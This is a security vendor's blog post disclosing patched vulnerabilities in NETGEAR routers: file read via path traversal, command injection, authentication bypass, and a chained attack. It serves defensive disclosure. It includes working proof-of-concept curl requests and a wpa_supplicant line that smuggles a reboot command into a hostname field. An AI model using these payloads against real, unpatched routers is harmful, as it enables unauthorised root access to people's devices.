Connect with our team of offensive security, AI security and pen testing experts at Black Hat Europe 2023. Learn More

Connect with our team of offensive security, AI security and pen testing experts at Black Hat Europe 2023. Learn More

Services
Capture
Managed Detection & Response

Eradicate cyberthreats with world-class intel and expertise

twi-cloud-lock-color-svg
Managed Security Services

Expand your team’s capabilities and strengthen your security posture

twi-briefcase-color-svg
Consulting & Professional Services

Tap into our global team of tenured cybersecurity specialists

twi-dashboard-color-svg
Penetration Testing

Subscription- or project-based testing, delivered by global experts

twi-database-color-svg
Database Security

Get ahead of database risk, protect data and exceed compliance requirements

twi-email-color-svg
Email Security & Management

Catch email threats others miss with layered security & maximum control

twi-managed-portal-color
Co-Managed SOC (SIEM)

Eliminate alert fatigue, focus your SecOps team, stop threats fast, and reduce cyber risk

Solutions
BY TOPIC
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
The Trustwave Approach
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Platform
SpiderLabs Fusion Center
Security Operations Centers
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Multiple Vulnerabilities in NETGEAR Routers

Last year I discovered multiple vulnerabilities in NETGEAR products. Now that these vulnerabilities have gone through the disclosure process and have been patched we can discuss the technical details.

TWSL2018-002: Password Recovery and File Access on Some Routers and Modem Routers

Trustwave SpiderLabs Advisory: https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18724

NETGEAR advisory: https://kb.netgear.com/000045848/Security-Advisory-for-Password-Recovery-and-File-Access-on-Some-Routers-and-Modem-Routers-PSV-2017-0677

Some routers allow arbitrary file reading from the device provided that the path to file is known. Proof-of-concept for Nighthawk X8 running firmware 1.0.2.86 or earlier:

curl -d "id=304966648&next_file=cgi-bin/../../tmp/mnt/usb0/part1/README.txt" http://192.168.1.1/genie_restoring.cgi?id=304966648

The above will fetch README.txt file located on a USB thumb drive inserted into the router. Total of 17 products are affected. Specific models are listed in the Advisory notes.

 

TWSL2018-003: Finding 1: Post-Authentication Command Injection on Some Routers and Modem Routers

Trustwave SpiderLabs Advisory: https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18726

NETGEAR advisory: https://kb.netgear.com/000045850/Security-Advisory-for-Post-Authentication-Command-Injection-on-Some-Routers-and-Modem-Routers-PSV-2017-1207

This one affects six products per NETGEAR's advisory. What happens there is root level OS command execution via the device_name parameter on the lan.cgi page:

curl -d "action=Apply&device_name=A%22+%26%26+touch+%2Ftmp%2Fjimmers+%26%26+echo+%22B&sysLANIPAddr1=192&sysLANIPAddr2=168&sysLANIPAddr3=1&sysLANIPAddr4=1&sysLANSubnetMask1=255&sysLANSubnetMask2=255&sysLANSubnetMask3=255&sysLANSubnetMask4=0&rip_direction=1&sysRIPVersion=Disabled&dhcp_server=dhcp_server&sysPoolStartingAddr4=2&sysPoolFinishAddr4=254&select=-1&arp_enable=disable&ipmac_token=0&dev_name=R8500mge&lan_ipaddr=192.168.1.1&lan_netmask=255.255.255.0&rip_enable=0&rip_multicast=1" http://192.168.1.1/lan.cgi?id=988337b27ba1f3cdc280e454860f8b10d84e42da

Note that this attack requires authentication.

 

TWSL2018-003: Finding 2: Authentication Bypass on Some Routers or Modem Routers

NETGEAR advisory: https://kb.netgear.com/000048998/Security-Advisory-for-Authentication-Bypass-on-Some-Routers-or-Modem-Routers-PSV-2017-1208

This also affects large set of products (17 total) and is trivial to exploit. Authentication is bypassed if "&genie=1" is found within the query string.

 

TWSL2018-003: Chained Attack: Command Injection on Some Routers and Modem Routers

NETGEAR advisory: https://kb.netgear.com/000048999/Security-Advisory-for-Command-Injection-on-Some-Routers-and-Modem-Routers-PSV-2017-1209

The same set of products is affected. This is a three-stage attack leveraging three separate issues: CSRF token recovery vulnerability (here's a tool to help: https://github.com/SpiderLabs/advisories-poc/blob/master/TWSL2018-003/csrf.c) and the two findings in TWSL2018-003. As a result, any user connected to the router can run OS commands as root on the device without providing any credentials.

 

TWSL2018-004: Command Injection Vulnerability on D7000, EX6200v2, and Some Routers

Trustwave SpiderLabs Advisory: https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18722 

NETGEAR advisory: https://kb.netgear.com/000049354/Security-Advisory-for-Command-Injection-Vulnerability-on-D7000-EX6200v2-and-Some-Routers-PSV-2017-2181

Only 6 products are affected, this allows to run OS commands as root during short time window when WPS is activated. To prove, add the following line to the /etc/wpa_supplicant.conf file on your Linux box and join WPS initialed on the router.

(Nighthawk X4S):
device_name=MR" /sbin/reboot "

Observe the router reboot! This happens because internal code executed as part of WPS fails to sanitize hostnames.

Trustwave SpiderLabs has worked with NETGEAR through our responsible disclosure process to make sure that these vulnerabilities are addressed. We'd also like to thank NETGEAR for their responsive and communicative PSIRT team. It's obvious that their participation in bug bounties has helped them improve their internal process for addressing issues like these.

Please check the NETGEAR advisory pages to find the firmware that applies to your router model and make sure that your devices are patched if they are affected.

Latest SpiderLabs Blogs

The 2023 Retail Services Sector Threat Landscape: A Trustwave Threat Intelligence Briefing

The annual holiday shopping season is poised for a surge in spending, a fact well-known to retailers, consumers, and cybercriminals alike. The latter group, however, is poised to exploit any...

Read More

Pwning Electroencephalogram (EEG) Medical Devices by Default

Overall Analysis of Vulnerability Identification – Default Credentials Leading to Remote Code Execution During internal network testing, a document was discovered titled the “XL Security Site...

Read More

Hidden Data Exfiltration Using Time, Literally

I was looking at my watch last week and my attention was moved towards the seconds over at the right of the watch face, incrementing nicely along as you’d expect. Now, I don’t know if I’d just spent...

Read More